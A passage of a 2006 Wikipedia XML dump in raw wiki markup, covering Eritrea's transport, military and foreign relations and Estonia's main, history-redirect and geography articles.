      <comment>moved [[Transportation in Eritrea]] to [[Transport in Eritrea]]: part of a series</comment>
      <text xml:space="preserve">This article summarizes characteristics of a number of forms of transportation in the coastal African nation of [[Eritrea]].

== [[Railway]]s ==
&lt;br /&gt;''total:''
317 km
&lt;br /&gt;''narrow gauge:''
317 km 0.950-m gauge (1999)
&lt;br /&gt;''note:''
links [[Ak'ordat]] and [[Asmara]] with the port of [[Massawa]]; nonoperational since [[1978]] except for about a 5 km stretch that was reopened in Massawa in [[1994]]; rehabilitation of the remainder and of the rolling stock is under way... in 2003 the line from Massawa all the way through to Asmara has been restored.


=== Railway links with adjacent countries ===

* [[Transportation in Djibouti|Djibouti]] - no
* [[Transportation in Ethiopia|Ethiopia]] - no
* [[Transportation in Sudan|Sudan]] - no

== [[Highway]]s ==
&lt;br /&gt;''total:''
4,010 km
&lt;br /&gt;''paved:''
874 km
&lt;br /&gt;''unpaved:''
3,136 km (1996 est.)

== [[Seaport]]s and [[harbor]]s ==
[[Assab]] (Aseb), [[Massawa]] (Mits'iwa)

== [[Merchant marine]] ==
&lt;br /&gt;''total:''
5 ships (1,000 GRT or over) totaling 16,069 GRT/19,549 DWT
&lt;br /&gt;''ships by type:''
bulk 1, cargo 1, liquified gas 1, petroleum tanker 1, roll-on/roll-off 1 (1999 est.)

== [[Airport]]s ==
21 (1999 est.)

== Airports - with paved runways ==
&lt;br /&gt;''total:''
3
&lt;br /&gt;''over 3,047 m:''
2
&lt;br /&gt;''2,438 to 3,047 m:''
1 (1999 est.)

== Airports - with unpaved runways ==
&lt;br /&gt;''total:''
18
&lt;br /&gt;''over 3,047 m:''
2
&lt;br /&gt;''2,438 to 3,047 m:''
2
&lt;br /&gt;''1,524 to 2,437 m:''
6
&lt;br /&gt;''914 to 1,523 m:''
6
&lt;br /&gt;''under 914 m:''
2 (1999 est.)

==See also==

* [[Eritrea]]
* [[Eritrean_Railway]]

{{Africa in topic|Transport in}}

[[Category:Eritrea]]
[[Category:Transportation by country|Eritrea]]</text>
    </revision>
  </page>
  <page>
    <title>Military of Eritrea</title>
    <id>9384</id>
    <revision>
      <id>35732960</id>
      <timestamp>2006-01-18T22:19:22Z</timestamp>
      <contributor>
        <username>Gyrofrog</username>
        <id>52387</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/192.28.2.17|192.28.2.17]] ([[User talk:192.28.2.17|talk]]) to last version by 67.167.27.49</comment>
      <text xml:space="preserve">{{Cleanup-context}}
During the war, the EPLF fighting force grew to almost 110,000 [[soldier]]s, almost 3% of the total population of [[Eritrea]]. The fragile peace-time economy could not sustain such a large [[army]], and in [[1993]], Eritrea embarked on a phased program to demobilize 50%-60% of the army, which had by then shrunk to about 95,000. During the first phase of demobilization in 1993, some 26,000 soldiers--most of whom enlisted after [[1990]]--were demobilized. They received cash bonuses and six-month food rations, and many also took advantage of government loans, grants of farm land in western Eritrea, and vocational training courses. The second phase of demobilization, which occurred the following year, demobilized more than 17,000 soldiers who had joined the EPLF before 1990 and in many cases had seen considerable [[combat]] experience. Many of these fighters had spent their entire adult lives in the EPLF and so lacked the social, personal, and vocational skills required to become competitive in the workplace. As a result, they received higher compensation, more intensive training, and more psychological [[counseling]] than the first group. Special attention has been given to women fighters, who made up some 30% of the EPLF's combat troops. By [[1998]], the army had shrunk to 47,000.

In order to fund the demobilization program, the government cut other expenditures, campaigned to raise voluntary contributions, took its first loans, and sought external aid. [[Germany]], [[Italy]], [[Israel]], and the [[U.S.]] have provided assistance.

Although committed to demobilization, the Government of Eritrea feels it has some legitimate [[security]] concerns and continues to seek U.S. assistance to upgrade its equipment and training with a goal of producing a smaller, more professional, and more efficient army. United States military assistance so far has included deploying in-country training teams, establishing a de-[[land mine|mining]] training program, ship visits during which U.S. service personnel contribute labor and materials for various community relations projects, and the training of Eritrean [[military officer]]s in the United States.

The Eritrean Army is equipped with a hodgepodge of captured [[Ethiopia]]n equipment, mostly of [[Soviet]] origin.

The Military of Eritrea, depending on annual fluctuation, trades positions with [[North Korea]] as the nation that maintains the title as the most militarized state in the world (highest number of active personnel versus total population).

'''Military branches:'''
Army, Navy, Air Force

'''Military expenditures - dollar figure:'''
$196 million (FY97)

'''Military expenditures - percent of GDP:'''
28.6% (FY97)

==References and Links==
*[[Eritrea]]
&lt;!-- Isn't there a template for this? --&gt;
*''This article incorporates [[public domain]] text from [[United States Department of State|U.S. State Department]] Background Notes.''

[[Category:Eritrea]]
[[Category:Militaries|Eritrea]]</text>
    </revision>
  </page>
  <page>
    <title>Foreign relations of Eritrea</title>
    <id>9385</id>
    <revision>
      <id>39393940</id>
      <timestamp>2006-02-12T21:53:00Z</timestamp>
      <contributor>
        <username>Electionworld</username>
        <id>201260</id>
      </contributor>
      <comment>template</comment>
      <text xml:space="preserve">{{Politics of Eritrea}}
[[Eritrea]] is a member in good standing of the [[African Union]] (AU), the succesor of the [[Organization of African Unity]] (OAU). But it has withdrawn its representative to the AU in protest of the AU's lack of leadership in facilitating the implementation of a binding border decision demarcating the border between Eritrea and [[Ethiopia]]. Eritrea's relationship with the [[United States]] is complicated. Although the two nations have a close working relationship regarding the on-going war on terror, there has been a growing tension in other areas. Eritrea's relationship with [[Italy]] and the [[EU]] has become equally strained in many areas in the last three years.  

Within the region, Eritrea's relations with Ethiopia turned from that of close alliance to a deadly rivalry that cost an estimated one hundred thousand live between May, 1998 to June 2000. 

Eritrea broke diplomatic relations with the [[Sudan]] in December 1994. This action was taken after a long period of increasing tension between the two countries due to a series of cross-border incidents involving the [[Eritrean Islamic Jihad]] (EIJ). Although the attacks did not pose a threat to the stability of the Government of Eritrea (the infiltrators have generally been killed or captured by government forces), the Eritreans believe the [[National Islamic Front]] (NIF) in [[Khartoum]] supported, trained, and armed the insurgents. After many months of negotiations with the Sudanese to try to end the incursions, the Government of Eritrea concluded that the NIF did not intend to change its policy and broke relations. Subsequently, the Government of Eritrea hosted a conference of Sudanese opposition leaders in June 1995 in an effort to help the opposition unite and to provide a credible alternative to the present government in Khartoum.  Eritrea resumed diplomatic relations with Sudan on December 10, 2005.[http://www.arabicnews.com/ansub/Daily/Day/051210/2005121017.html]

'''Disputes - international:'''
dispute over alignment of boundary with Ethiopia led to armed conflict in 1998. The conflict was slowed by an OAU-sponsored peace treaty signed in December 13, 2000.
In April of 2002 Ethiopia and Eritrea agreed on a common border, drawn up by an independent commission in [[The Hague]] under the auspices of the [[United Nations]].  
=== See also ===
*[[Eritrea]]

[[Category:Eritrea]]
[[Category:Foreign relations by country|Eritrea]]</text>
    </revision>
  </page>
  <page>
    <title>Estonia</title>
    <id>9386</id>
    <revision>
      <id>42134059</id>
      <timestamp>2006-03-04T01:17:50Z</timestamp>
      <contributor>
        <ip>68.100.234.88</ip>
      </contributor>
      <comment>/* Climate */</comment>
      <text xml:space="preserve">{{otheruses}}
{{Infobox Country |
native_name = Eesti Vabariik |
common_name = Estonia |
image_flag = Flag of Estonia.svg |
image_coat = Estonia coatofarms.png|
image_map = LocationEstonia.png|Location of Estonia |
national_motto = none |
national_anthem = ''[[Mu isamaa, mu õnn ja rõõm]]'' |
official_languages = [[Estonian language|Estonian]] |
capital = [[Tallinn]] |
latd=59|latm=26|latNS=N|longd=24|longm=45|longEW=E|
largest_city = [[Tallinn]] |
government_type =[[Parliamentary democracy]] |
leader_titles = [[President of Estonia|President]]&lt;br&gt;[[Prime Minister of Estonia|Prime Minister]] |
leader_names = [[Arnold Rüütel]]&lt;br&gt;[[Andrus Ansip]] |
area = 45,226 |
area_rank = 129th |
area_magnitude = 1 E10|
percent_water = 4.56% |
population_estimate = 1,332,893|
population_estimate_year = 2005 |
population_estimate_rank = 148th |
population_census =  |
population_census_year =  |
population_density = 29.8 |
population_density_rank = 144th |
GDP_PPP_year = 2006 |
GDP_PPP = $21.81 billion|
GDP_PPP_rank = 111th |
GDP_PPP_per_capita = $16,400 |
GDP_PPP_per_capita_rank = 62nd |
HDI_year=2003|
HDI=0.853|
HDI_rank=38th|
HDI_category=&lt;font color=&quot;#009900&quot;&gt;high&lt;/font&gt;|
sovereignty_type = [[History of Estonia|Independence]] |
established_events = &amp;nbsp;- Declared&lt;br&gt;&amp;nbsp;- Recognised&lt;br&gt;&amp;nbsp;- Occupied by USSR&lt;br&gt;&lt;br&gt;[[Collapse of the Soviet Union|Independence]]&lt;br&gt; &amp;nbsp;- Re-declared&lt;br&gt;  |
established_dates = From [[Russian SFSR|Russia]] and [[Imperial Germany|Germany]]&lt;br&gt; [[24 February]] [[1918]]&lt;br&gt;[[2 February]] [[1920]]-&lt;br&gt;[[16 June]] [[1940]]&lt;br&gt;From [[Soviet Union]]&lt;br&gt;[[20 August]] [[1991]] |
currency = [[Estonian kroon]] |
currency_code = EEK |
time_zone = [[Eastern European Time|EET]] |
utc_offset = +2 |
time_zone_DST = [[Eastern European Summer Time|EEST]] |
utc_offset_DST = +3 |
cctld = [[.ee]] |
calling_code = 372 |
footnotes =|
}}
The '''Republic of Estonia''', or '''Estonia''' ([[Estonian language|Estonian]]: ''Eesti Vabariik'' or ''Eesti'') is a country in [[Northern Europe]] and a member state of [[European Union]] since [[2004]]. It is separated from [[Finland]] in the north by the narrow [[Gulf of Finland]] and from [[Sweden]] in the west by the middle part of the [[Baltic Sea]]. Estonia has land borders with its fellow [[Baltic countries|Baltic country]] [[Latvia]] to the south and [[Russia]] to the east.  

== History ==
{{main|History of Estonia}}
Human settlement in Estonia became possible when the ice, from the last [[Ice Age|glacial era]], melted away 11,000–13,000 years ago.  The oldest known settlement in Estonia was located on the [[Pärnu|Pärnu River]], near the town of Sindi (Pulli settlement, by village Pulli - on right bank of Pärnu River). It dates back to the middle of the 8th millennium BC. 

Estonia was first [[christianization|christianised]] when the [[Germany|German]] &quot;[[Livonian Brothers of the Sword]]&quot; and [[Denmark]] conquered the land by [[1227]]. Subsequent foreign powers that controlled Estonia at various times included Denmark, [[Sweden]], [[Poland]] and finally ([[1710]] de facto, [[1721]] de jure, see [[Treaty of Nystad]]) [[Russia]].  However, the upper classes and the higher middle class remained primarily [[Baltic German]] until roughly 1918. During and immediately after World War II, the remaining Germans were forced out by [[Adolf Hitler|Hitler]] and, later, [[Stalin]].

Following the collapse of [[Imperial Russia]] after the [[October Revolution]], Estonia declared itself an independent republic on [[February 24]], [[1918]]. After the [[Estonian Liberation War]] and [[Treaty of Tartu]] signed in [[February 2]], [[1920]] Estonia maintained this independence for twenty-two years, and the very same parliamentary government was reinstated in [[1992]], after the collapse of the [[Soviet Union]]. It included a parliament called ''Riigikogu'', elected by all Estonian citizens aged 18 or above. ''Riigikogu'' was disbanded in [[1934]] and the country was ruled by decree by [[president]] [[Konstantin Päts]] until the parliamentary elections in [[1938]].

The country was occupied by Soviet troops in [[June]] [[1940]], as a consequence of the [[1939]] [[Molotov-Ribbentrop Pact]] between Nazi Germany and the Soviet Union. Many of its political and intellectual leaders were killed or repressed, including Estonia's first president Konstantin Päts, who was deported to [[Russia]]. The country was occupied by the German [[Third Reich]] from [[1941]] to [[1944]], when Soviet forces reconquered it. Estonia regained its independence on [[August 20]], [[1991]], with the [[Singing Revolution]] and the [[collapse of the Soviet Union]]. [[August 20]] is now a national holiday in Estonia.

The last Russian troops left on [[August 31]], [[1994]], and Estonia joined [[NATO]] on [[March 29]], [[2004]] and the [[European Union]] on [[May 1]], [[2004]].

Estonia signed a border agreement with [[Russia]] on [[May 18]], [[2005]], slightly redefining the border they had been using since [[1991]], which the [[Riigikogu]], the Estonian parliament, ratified on [[June 20]], [[2005]]. However, Russia took exception to Estonia's preamble to the law, which makes references to the Estonian state's uninterrupted legal continuity during the Soviet period and indirect references to the [[Occupation of Baltic Republics|Soviet occupation]] of Estonia and announced that it is revoking its signature and that it desires to restart negotiations with Estonia.   
   
Estonia has said that there is no need to renegotiate the border and that it has no land claims against Russia. 

=== Etymology ===

After Estonia regained independence in 1991, a public debate ensued on the chosen [[English language]] name for Estonia. The ending ''–onia'' in the name ''Estonia'' (earlier also ''Esthonia'') is of [[Latin]] origin. Many Estonians tend to identify more with Northern Europe, and would prefer the country to have a more Nordic-sounding name. The most widely-known of these alternative English language names is ''Estland'', which is in fact the name for the country in most other [[Germanic languages]] (e.g., [[German language|German]], [[Dutch language|Dutch]], [[Danish language|Danish]], [[Norwegian language|Norwegian]] and [[Swedish language|Swedish]]).

== Politics ==
[[Image:Estonian parliament building.jpg|thumb|right|256px|The Estonian Parliament building in Tallinn]]
{{main|Politics of Estonia}}
Estonia is a [[constitution]]al [[democracy]], with a president elected by its unicameral [[parliament]] (elections every four years). The government or the [[executive branch]] is formed by the prime minister, nominated by the president, and a total of 14 ministers. The government is appointed by the president after approval by the parliament.

[[Legislative]] power lies with the unicameral parliament, the [[Riigikogu]] or State Assembly, which consists of 101 seats. Members are elected by popular vote to serve four-year terms. The supreme [[judiciary]] court is the National Court or ''Riigikohus'', with 19 justices whose chairman is appointed by the parliament for life on nomination by the president.

[[Internet voting]] has already been used in local elections in Estonia, and the lawmakers in Estonia have authorized internet voting for parliamentary elections as well. [http://news.com.com/Estonia+pulls+off+nationwide+Net+voting/2100-1028_3-5898115.html (see COM)].

== Counties ==
{{main|Counties of Estonia}}
Estonia numbers 15 main administrative subdivisions. Due to the geographical and demographic size of these subdivisions, they are to be considered counties rather than states (Estonian: pl. ''maakonnad''; sg. - ''maakond''). Here is a list of them:
[[Image:Estonia counties.png|thumb|400px|Counties of Estonia]]
*[[Harju County]] (Estonian: ''Harjumaa'')
*[[Hiiu County]] (Estonian: ''Hiiumaa'')
*[[Ida-Viru County]] (Estonian: ''Ida-Virumaa'')
*[[Järva County]] (Estonian: ''Järvamaa'')
*[[Jõgeva County]] (Estonian: ''Jõgevamaa'')
*[[Lääne County]] (Estonian: ''Läänemaa'')
*[[Lääne-Viru County]] (Estonian: ''Lääne-Virumaa'')
*[[Pärnu County]] (Estonian: ''Pärnumaa'')
*[[Põlva County]] (Estonian: ''Põlvamaa'')
*[[Rapla County]] (Estonian: ''Raplamaa'')
*[[Saare County]] (Estonian: ''Saaremaa'')
*[[Tartu County]] (Estonian: ''Tartumaa'')
*[[Valga County]] (Estonian: ''Valgamaa'')
*[[Viljandi County]] (Estonian: ''Viljandimaa'')
*[[Võru County]] (Estonian: ''Võrumaa'')

== Geography ==
[[Image:En-map.png|right|Map of Estonia]]
{{main|Geography of Estonia}}

Estonia lies on the eastern shores of the [[Baltic Sea]] on the level northwestern part of the rising east European platform between 57.3° and 59.5° N and 21.5° and 28.1° E. Average elevation reaches only 50&amp;nbsp;m, and the country's highest point is the [[Suur Munamägi]] in the southeast (318&amp;nbsp;m).

[[Oil shale]] (or kukersite) and [[limestone]] deposits, along with forests which cover 47% of the land, play key economic roles in this generally resource-poor country. Estonia boasts over [[List of lakes in Estonia|1,400 lakes]] (most very small, with the largest, [[Lake Peipus]], (Peipsi in Estonian) being 3,555 km²), numerous [[bogs]], and 3,794 kilometers of coastline marked by numerous bays, straits, and inlets. The number of islands and islets is estimated at some 1,500, with two of them large enough to constitute their own counties, [[Saaremaa]] and [[Hiiumaa]].

=== Climate ===
See [http://weather.ee/ Weather] (English), [http://ilm.ee/ Ilm] (Estonian) or [http://pogoda.ee/ Pogoda] (Russian).

== Economy ==
{{main|Economy of Estonia}}

As a member of the [[European Union]], Estonia is part of the world's largest economic zone. In [[1999]], Estonia experienced its worst year economically since it regained independence in [[1991]], largely because of the impact of the August [[1998]] Russian financial crisis. Estonia joined the [[World Trade Organization|WTO]] in November 1999 — the second Baltic state to join — and continued its [[EU]] accession talks. [[Privatization]] of energy, [[telecommunications]], railways, and other state-owned companies is a continuing process. With assistance from the European Union, the [[World Bank]] and the [[Nordic Bank]], Estonia completed most of its preparations for EU membership by the end of [[2002]] and now has one of the strongest economies of the new member states of the European Union, which Estonia joined on [[1 May]] [[2004]]. The Estonian economy is growing fast, partly due to a number of [[Scandinavia]]n companies relocating their routine operations and [[Russia]]n oil transit using Estonian ports. Estonia has a strong [[information technology]] (IT) sector. [[List of countries by GDP (PPP) per capita|GDP PPP per capita]] is at $17,672, the highest among the [[Baltic states]].
[[Image:Seascape.jpg|thumb|right|256px|The north-west coast of [[Estonia]] near [[Nõva]], [[Lääne_County|Lääne county]]]]
In 1994, Estonia became among the first in the world to adopt a [[flat tax]], with a uniform rate of 26% regardless of the income a person makes. In January 2005 the personal income tax rate was reduced to 24%. A subsequent reduction to 23% followed in January 2006. In the following years the income tax rate will be decreased by 1% annually to reach 20% by January 2009.

Since [[January 1]], [[2000]], companies have not had to pay income tax on re-invested income. However, tax is due on profit distributions (incl. hidden distributions) at a rate of 24%. Despite the fact that only the moment of taxation was shifted from earning profits to their distribution, leaving the rest of the corporate taxation system mostly unchanged, the current legislation is said to be in violation of one of the fundamental freedoms of the European Union - free movement of capital. Estonia is to remove this hindrance by January 2009 when the temporary derogation expires.

In June 1992, Estonia replaced the [[Ruble]] with its own freely convertable currency, the [[Kroon]] (EEK). A currency board was created and the new currency was pegged to the German Mark at the rate at 8 EEK for 1 DEM. When Germany introduced the [[Euro]] the peg was changed to 15.6466 Kroon for 1 Euro.
The Estonian government is intending to adopt the [[Euro]] as the country's currency on [[1 January]] [[2007]], and finalised the design of Estonia's Euro coins in late 2004.

== Demographics ==
{{main|Demographics of Estonia}}
Indigenous Estonian-speaking ethnic Estonians constitute nearly 70 percent of the population. First and second generation immigrants from various parts of the former Soviet Union, mainly [[Russia]] comprise most of the remaining 30 percent. The latter, mostly Russian-speaking ethnic minorities reside predominantly in the capital city (Tallinn) and the industrial urban areas in northeastern Estonia ([[Ida-Virumaa]] county). There is also a small group of [[Finland|Finnish]] descent.

The country's official language is [[Estonian language|Estonian]], which is closely related to [[Finnish language|Finnish]]. [[Russian language|Russian]] is also widely spoken as a secondary language by 30-70 year old ethnic Estonians because Russian was a compulsory second language in school during the Soviet era. Younger people, born at the end of or following the Soviet era, can usually speak [[English language|English]], having learned it as their first foreign language.

Estonia has the second highest [[HIV]] adult prevalence rate in Europe after [[Ukraine]] (1.1% in 2001).

=== Ethnicity ===
According to the most recent national census taken in 2003, the population of Estonia comprised the following self-reported ethnic groups:
* 68.4% [[Estonians]]
* 25.7% [[Russians]] 
* 2.1% [[Ukrainians]]
* 1.2% [[Belarusians]]
* 0.8% [[Finns]]
* 1.7% others

=== Religion ===
[[Image:FL-Tallinn.jpg|thumb|220px|Tallinn, churches in the background]]
The predominant religion of indigenous ethnic Estonians is the [[Christianity|Christian]] belief in the form the [[Protestantism|Protestant]] [[Evangelical Lutheran]] confession, however less than a quarter of ethnic Estonians define themselves as active believers at present. Most believers amongst the Russian minority are [[Eastern Orthodox]]. The [[Ecumenical Patriarchate of Constantinople]] has since 1920s recognised a separate national [[Estonian Orthodox Church]], which has led to strained relations with the [[Russian Orthodox Church]], which claimed sole authority over Orthodox believers in the country during the period of Soviet rule.

Today, over 31% of the adult population are active followers of a particular faith, and they are made up of:
* 15% [[Estonian Evangelical Lutheran Church]]
* 14% [[Orthodox]]
* 0.5% [[Baptist]]s
* 0.5% [[Roman Catholic]]s

There are also a number of smaller Protestant and [[Jewish]] groups, as well as some [[neopagans]] who revere the local ancient deity [[Taara]].

== Culture ==
[[Image:Estonian Folk Dancing.jpg|thumb|Estonian folk dancing]]
{{main|Culture of Estonia}}

* [[Estonian mythology]]
* [[Estonian rock|Estonian rock music]]
* [[Estonian rap|Estonian rap music]]
* [[Music of Estonia]]
* [[Tallinn University of Technology]]
* [[University of Tartu]]

== Miscellaneous topics ==
* [[Baltic Germans]]  
* [[Communications in Estonia]]   
* [[Crime in Estonia]]   
* [[Eesti Skautide Ühing]]   
* [[The Estonian State Decorations|Estonian State Decorations]]   
* [[Foreign relations of Estonia]]       
* [[List of cities in Estonia]]  
* [[List of Estonian rulers]]   
* [[List of famous Estonians]]   
* [[List of islands of Estonia]]  
* [[List of municipalities of Estonia]] 
* [[List of national parks of Estonia]]
* [[List of people on stamps of Estonia]]   
* [[Military of Estonia]] 
* [[Public holidays in Estonia]]
* [[History of Russians in Estonia|Russians in Estonia]]
* [[Occupation of Baltic Republics|Soviet occupation of Baltic countries]]   
* [[Tourism in the Baltics]]
* [[Transportation in Estonia]]

== Further reading ==
* ''The Baltic Nations and Europe: Estonia, Latvia and Lithuania in the Twentieth Century'' John Hiden and Patrick Salmon
* ''The Baltic Revolution: Estonia, Latvia, Lithuania and the Path to Independence'' Anatol Lieven
* ''The Baltic States: The National Self-Determination of Estonia, Latvia and Lithuania'' Graham Smith
* ''Bradt Travel Guide: Estonia'' Neil Taylor
* ''Estonia and the Estonians'' Toivo U. Raun
* ''Estonia: Independence and European Integration'' David J. Smith
* ''Estonia: Return to Independence'' Rein Taagepera
* ''Lonely Planet World Guide: Estonia, Latvia and Lithuania'' Nicola Williams, Cathryn Kemp and Debra Herrmann 
* ''War In The Woods: Estonia's Struggle For Survival 1944-1956'' M. Laar, Mart Laar and Tiina Ets

== External links ==
{{portal}}
{{sisterlinks|Estonia}}
* [http://wikitravel.org/en/article/Estonia Estonia at Wikitravel]
* [http://www.ciesin.ee/ESTCG/ Estonia Country Guide]
* [http://www.europe-atlas.com/estonia-map.htm Estonia Map]
* [http://english.eesti.pl Estonia onLine - website about Estonia]
* [http://www.7is7.com/otto/estonia/ Pictures of Estonia] - with clickable map.
* [http://www.unanenestonie.net/ Estonia Pictures] - in French.
* [http://www.estonica.org/ Estonica - from A to Z about Estonia]
* [http://www.riik.ee/en/ Official State Website (''e''Riik)] - in English
* [http://www.culture.ee Culture events in Estonia]
* [http://www.ilm.ee/tallinn Webcam and weather in Tallinn]
* [http://www.parks.it/world/EE/Eindex.html Parks in Estonia] - National parks, nature reserves and protected areas
*[http://www.worldwide-tax.com/estonia/indexestonia.asp Estonia economy and business indicators] Estonia key Data on Taxes.
*[http://www.estonian-air.ee/?keel=eng Estonian Air] - in English. Cheap flights to Estonia.

{{EU_countries}}
{{Europe}}

[[Category:Estonia| ]]
[[Category:Republics]]
[[Category:European Union member states]]

[[af:Estland]]
[[ang:Estland]]
[[ar:إستونيا]]
[[an:Estonia]]
[[roa-rup:Estonia]]
[[ast:Estonia]]
[[bg:Естония]]
[[zh-min-nan:Eesti]]
[[be:Эстонія]]
[[bs:Estonija]]
[[ca:Estònia]]
[[cs:Estonsko]]
[[cy:Estonia]]
[[da:Estland]]
[[de:Estland]]
[[et:Eesti]]
[[el:Εσθονία]]
[[es:Estonia]]
[[eo:Estonio]]
[[eu:Estonia]]
[[fa:استونی]]
[[fo:Estland]]
[[fr:Estonie]]
[[fy:Estlân]]
[[ga:An Eastóin]]
[[gl:Estonia - Eesti]]
[[ko:에스토니아]]
[[ht:Estoni]]
[[hr:Estonija]]
[[io:Estonia]]
[[id:Estonia]]
[[ia:Estonia]]
[[is:Eistland]]
[[it:Estonia]]
[[he:אסטוניה]]
[[ka:ესტონეთი]]
[[kw:Estoni]]
[[ku:Estonya]]
[[la:Estonia]]
[[lv:Igaunija]]
[[lt:Estija]]
[[li:Esland]]
[[hu:Észtország]]
[[mk:Естонија]]
[[ms:Estonia]]
[[mo:Естония]]
[[na:Estonia]]
[[nl:Estland]]
[[nds:Estland]]
[[ja:エストニア]]
[[no:Estland]]
[[nn:Estland]]
[[os:Эстони]]
[[pl:Estonia]]
[[pt:Estónia]]
[[ro:Estonia]]
[[ru:Эстония]]
[[se:Estlánda]]
[[sa:एस्टोनिया]]
[[sc:Estonija]]
[[sco:Estonia]]
[[sq:Estonia]]
[[sh:Estonija]]
[[scn:Estonia]]
[[simple:Estonia]]
[[sk:Estónsko]]
[[sl:Estonija]]
[[sr:Естонија]]
[[fi:Viro]]
[[sv:Estland]]
[[tl:Estonia]]
[[tt:Éstonia]]
[[th:ประเทศเอสโตเนีย]]
[[vi:Estonia]]
[[tr:Estonya]]
[[udm:Эстония]]
[[uk:Естонія]]
[[zh:爱沙尼亚]]
[[fiu-vro:Eesti]]</text>
    </revision>
  </page>
  <page>
    <title>Estonia/History</title>
    <id>9387</id>
    <revision>
      <id>15907283</id>
      <timestamp>2002-03-04T14:30:49Z</timestamp>
      <contributor>
        <username>LA2</username>
        <id>445</id>
      </contributor>
      <comment>*</comment>
      <text xml:space="preserve">#REDIRECT [[History of Estonia]]</text>
    </revision>
  </page>
  <page>
    <title>Geography of Estonia</title>
    <id>9388</id>
    <revision>
      <id>30407473</id>
      <timestamp>2005-12-06T23:54:04Z</timestamp>
      <contributor>
        <username>Hippophaë</username>
        <id>128291</id>
      </contributor>
      <minor />
      <comment>fi</comment>
      <text xml:space="preserve">[[Image:En-map.png|right|Map of Estonia]]
[[Image:Estonia_1999_CIA_map.jpg|thumb|right|300px|Detailed map of Estonia]]
[[Image:Satellite image of Estonia in April 2004.jpg|thumb|right|300px|Satellite image of Estonia in April 2004]]
[[Image:Seascape.jpg|thumb|right|250px|North-west coast of [[Estonia]] near [[Nõva]], [[Lääne_County|Lääne county]]]]
Between 57.3 and 59.5 [[latitude]] and 21.5 and 28.1 [[longitude]], '''[[Estonia]]''' lies on the eastern shores of the [[Baltic Sea]] on the level northwestern part of the rising east European platform. It borders the [[Gulf of Finland]], between [[Latvia]] and [[Russia]]. Average elevation reaches only 50m (160 ft.).
 
The climate resembles that of [[New England]], maritime, wet, with moderate winters and cool summers. [[Oil shale]] and [[limestone]] deposits, along with forests which cover 47% of the land, play key economic roles in this generally resource-poor country. Estonia boasts over 1,500 lakes, numerous bogs, and 3,794 kilometers of coastline marked by numerous bays, straits, and inlets. [[Tallinn]]'s Muuga port offers one of Europe's finest warm-water harbor facilities.

Estonia's strategic location has precipitated many wars that were fought on its territory between other rival powers at its expense. In 1944 the [[Soviet Union]] returned to [[Russia]] the [[Ivangorod]] and [[Pechory|Petseri]] regions that in [[1920]]-[[1941]] belonged to Estonia, the move that remains contested by some Estonians. 

'''[[Geographic coordinates]]:''' {{coor dm|59|00|N|26|00|E|type:country}})

==Geographic features==
Estonia is a low, flat country covering 45,226 square kilometers. It is about the size of Vermont and New Hampshire combined. Estonia has a long, shallow coastline (1,393 kilometers) along the Baltic Sea, with 1,520 islands dotting the shore. The two largest islands are Saaremaa (literally, island land), at 2,673 square kilometers, and Hiiumaa, at 989 square kilometers. The two islands are favorite Estonian vacation spots. The country's highest point, Suur Munamägi (Egg Mountain), is in the hilly southeast and reaches 318 meters above sea level. Estonia is covered by about 18000 km² of forest. Arable land amounts to about 9260 km². Meadows cover about 2520 km², and pastureland covers about 1810 km². There are more than 1,400 natural and artificial lakes in Estonia. The largest of them, Lake Peipsi (3,555 km²), forms much of the border between Estonia and Russia. Located in central Estonia, Võrtsjärv is the second-largest lake (270 km²). The Narva and Emajõgi are among the most important of the country's many rivers.

Estonia has a temperate climate, with four seasons of near-equal length. Average temperatures range from 16.3 °C on the Baltic islands to 17.1 °C inland in July, the warmest month, and from -3.5 °C on the Baltic islands to -7.6 °C inland in February, the coldest month. Precipitation averages 568 millimeters per year and is heaviest in late summer.

Estonia's land border with Latvia runs 267 kilometers; the Russian border runs 290 kilometers. From 1920 to 1945, Estonia's border with Russia, set by the 1920 Tartu Peace Treaty, extended beyond the Narva River in the northeast and beyond the town of Pechory (Petseri) in the southeast. This territory, amounting to some 2,300 square kilometers, was incorporated into Russia by Stalin at the end of World War II. Estonia is now disputing that territorial loss.

==Environmental issues==
One of the most burdensome legacies of the Soviet era is widespread environmental pollution. The worst offender in this regard was the Soviet army. Across military installations covering more than 800 km² of Estonian territory, the army dumped hundreds of thousands of tons of jet fuel into the ground, improperly disposed of toxic chemicals, and discarded outdated explosives and weapons in coastal and inland waters. In the 1990s, during the army's withdrawal from Estonia, extensive damage was done to discarded buildings and equipment. In October 1993, the Estonian Ministry of Environment issued a preliminary report summing up part of the degradation it had surveyed thus far. The report described the worst damage as having been done to Estonia's topsoil and underground water supply by the systematic dumping of jet fuel at six Soviet army air bases. At the air base near Tapa, site of the worst damage, officials estimated that six square kilometers of land were covered by a layer of fuel; 11 square kilometers of underground water were said to be contaminated. The water in the surrounding area was undrinkable. With Danish help, Estonian crews began cleaning up the site, although they estimated the likely cost to be as much as EKR4 million. The Ministry of Environment assigned a monetary cost of more than EKR10 billion to the damage to the country's topsoil and water supply. However, the ministry was able to allocate only EKR5 million in 1993 for cleanup operations.

In a 1992 government report to the United Nations Conference on the Environment and Development, Estonia detailed other major environmental concerns. For instance, for several consecutive years Estonia had led the world in the production of sulfur dioxide per capita. Nearly 75 % of Estonia's air pollution was reported to come from two oil shale-based thermal power stations operating near Narva. The mining of oil shale in northeastern Estonia also left gigantic mounds of limestone dotting the region. Near the town of Sillamäe, site of a former uranium enrichment plant, about 1,200 tons of uranium and about 750 tons of thorium had been dumped into the Gulf of Finland. This was said to have caused severe health problems among area residents. In the coastal town of Paldiski, the removal of waste left by Soviet army nuclear reactors was also a major concern. The combined cost of environmental cleanup at both towns was put at more than EKR3.5 billion.

'''Natural hazards:''' flooding occurs frequently in the spring

'''Environment - current issues:''' air heavily polluted with [[sulfur dioxide]] from oil-shale burning power plants in northeast; contamination of soil and groundwater with [[petroleum]] products, chemicals at former Soviet military bases; Estonia has more than 1,400 natural and artificial lakes, the smaller of which in agricultural areas are heavily affected by organic waste; coastal sea water is polluted in many locations.

'''Environment - international agreements:'''&lt;br /&gt;
''party to:'' Biodiversity, Climate Change, Endangered Species, Hazardous Wastes, Ship Pollution, Ozone Layer Protection, Wetlands&lt;br /&gt;
''signed, but not ratified:'' Climate Change-[[Kyoto Protocol]]

==Area and boundaries==
'''Area:'''&lt;br /&gt;
''total:'' [[1 E10 m²|45,226 km²]]&lt;br /&gt;
''land:'' 43,211 km²&lt;br /&gt;
''water:'' 2,015 km²&lt;br /&gt;
''note:'' includes 1,520 islands in the Baltic Sea

'''Land boundaries:'''&lt;br /&gt;
